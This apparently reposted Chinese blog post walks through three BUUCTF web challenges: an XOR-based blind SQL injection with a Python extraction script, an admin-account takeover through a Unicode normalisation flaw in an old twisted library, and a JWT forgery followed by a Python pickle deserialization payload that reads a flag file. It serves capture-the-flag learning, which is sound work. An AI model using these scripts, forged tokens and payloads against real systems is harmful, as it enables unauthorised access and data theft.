BUUCTF復現記錄1


平台地址:https://buuoj.cn/  里面很多之前的題目,不錯的平台。另外幕后大哥博客https://www.zhaoj.in/     以下的解題,都是參考各位大佬的WP去復現,重在記錄下解題思路

以及了解一些常規姿勢。

 

[CISCN2019 華北賽區 Day2 Web1]Hack World

題目是這樣的

已經知道了表名和,列名,只需要想辦法讀取里面的內容就行了。

過濾了一些字符,繞過就行了。這里通過BP抓包FUZZ一波,還有手工判斷,這里有一些BP fuzz使用的payload:  https://github.com/fuzzdb-project/fuzzdb

可以發現過濾了and、or、”、union、#、 --+ ,空格、&&、||、/**/等

這里空格可以使用%0a,()進行繞過,^異或沒有被過濾,所以這里可以使用異或進行繞過,猜測出最終的flag.

payload如下:

import requests
import string 
import urllib
s = requests.session() #創建session對象,可以保存Cookie值
url = "http://f63702e7-ee2e-4b0d-be72-6f27bcc0e241.node1.buuoj.cn/index.php"
i = 1
length = len(s.post(url,data={'id':'1'}).text) #輸出post提交時,response響應的內容的長度,和后面提交payload時頁面做對比

# print(len(s.post(url,data={'id':'1'}).text))  長度312


''' print(s.post(url,data={'id':'1'}).text) 當post提交1時輸出為 <html> <head> <title>Hack World</title> </head> <body> <h3>All You Want Is In Table 'flag' and the column is 'flag'</h3> <h3>Now, just give the id of passage</h3> <form action="index.php" method="POST"> <input type="text" name="id"> <input type="submit"> </form> </body> </html> Hello, glzjin wants a girlfriend. ''' flag = '' while 1: status = 1 for x in string.printable:   #string.printable為可打印字符,在ASCII碼中,0—32及127是控制字符,33~126為可打印字符   #其中48~57為0~965~90為26個字母大寫,97~122為小寫,其余為標點符號/運算符等 payload = r"1^(ascii(substr((select%0aflag%0afrom%0aflag),{0},1))={1})^1".format(str(i),str(ord(x))) #使用ascii是因為過濾掉了-,所以先轉ascii,之后再打印出來。再可打印字符里面有- data = { 'id': urllib.parse.unquote(payload) #urllib.parse用於解析URL,解析上面的%0a } html = s.post(url,data=data).text if length == len(html): flag += x status = 1 print(flag) break else: status = 0 if status == 0: flag += "exp" print(flag) i += 1

flag為:flag{86b21334-8620-4133-98ad-a6940c102431}

 

admin

題目連接:http://web37.node1.buuoj.cn/

題目為admin,那么應該是需要我們得到admin的賬號,然后登錄進去就可以得到flag了,可以,大小寫注冊都不管用。

隨便注冊個賬號進去看看,在change password頁面源碼里看到https://github.com/woadsl1234/hctf_flask/,是題目源碼,使用的是Flask框架,那么就去看看route,看看里面的函數

@app.route('/register', methods = ['GET', 'POST'])  //注冊
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':    //定義提交方式為POST
        name = strlower(form.username.data)   //將提交的username轉為小寫
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])   //登錄
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)    //小寫轉換
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)



@app.route('/change', methods = ['GET', 'POST'])    //改密碼
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])     //小寫轉換
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)


def strlower(username):
    username = nodeprep.prepare(username)
    return username

在這里,我們可以看到,他的strlower函數是這樣定義的

def strlower(username):
    username = nodeprep.prepare(username)
    return username

username是通過nodeprep.prepare(username)之后得到的。

而對於nodeprep.prepare()函數,他需要使用的的庫為twisted,到目前為止,他已經更新到了19.7.0,而題目使用的是10.2.0的,對於已經有了更高版本的時候,一般會想到應該會存在一定的漏洞

就像php版本一樣,之前低版本的也存在各種各樣的漏洞。

這里存在Unicode編碼的一個問題,具體對應的編碼:https://unicode-table.com/en/blocks/phonetic-extensions/

可以知道當使用了nodeprep.prepare()函數之后,如果我們先使用unicode的編碼的字符,比如說 ᴬ ,使用該函數之后,他會先變成大寫的A,再使用一次就會變成小寫的a。

那么這里就可以使用他的漏洞進行注冊了:

首先使用  ᴬdmin這個用戶名進行注冊 ,注冊之后,進去就會變成 Admin

然后改密碼,隨便改一個密碼,改密碼之后,再次經過nodeprep.prepare()函數,就可以將username變成admin了

最后退出,重新以admin的身份進行登錄,即刻得到flag

 

最后附上一葉飄零大佬的三解:https://www.anquanke.com/post/id/164086

 

[CISCN2019 華北賽區 Day1 Web2]ikun

打開題目,可以看到

B站鬼畜區大佬,各UP主都愛的素材。看到這,讓我又想起了上次夕陽紅打榜,NB,讓我再次看到了,只要你有實力誰都願意和你交好。

話不多說,審題。打開頁面,知道,我們需要購買lv6,應該是買到就可以給Flag吧。

先注冊,隨便注冊個賬號,郵箱隨便弄一個

注冊之后可以看不到,錢不是很多,應該是不夠買的

接下來先找到lv6,買下來才行,翻了十幾頁,沒看到,腳本跑一下

import requests

url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page="

for i in range(1000):
    r = requests.get(url + str(i))
    if "lv6.png" in r.text:
        print i
        break

最后跑出來在181頁有lv6,雖然找到了,倒是價格也太貴了,還是點進去看一下

點擊結算,操作失敗,買不到。看一下源碼,可以看到,有一個discount折扣,將其改小,改為0.00000001

結算后,自動跳轉到另外的頁面,需要用戶為admin才能訪問

 

 看一下cookie信息。發現有一個JWT(json web token),關於JWT可以到這了解更多:https://www.cnblogs.com/cjsblog/p/9277677.html

 然后到 https://jwt.io/  進行查詢解析,得到

這里將mortals,改為admin,密鑰使用 https://github.com/brendan-rius/c-jwt-cracker 跑出來

最后得到密鑰為1Kun,

 

將JWT的值改為如下,進行cookie偽造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

 

再查看源碼的時候,找到有用的東西

下載下來,可以看到為該題的源碼

在sshop/views/Admin.py 里面有個

關於python反序列話,可以看這 http://www.sohu.com/a/274879579_729271

然后利用python,里面的pickle庫,進行序列化,讀取flag。

payload:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

在六級會員頁面,源碼里面,會看到一個隱藏,將其去掉,然后在admin那按下回車,進行抓包

抓到得到,

將admin改為,剛才生成的payload,即可得到flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM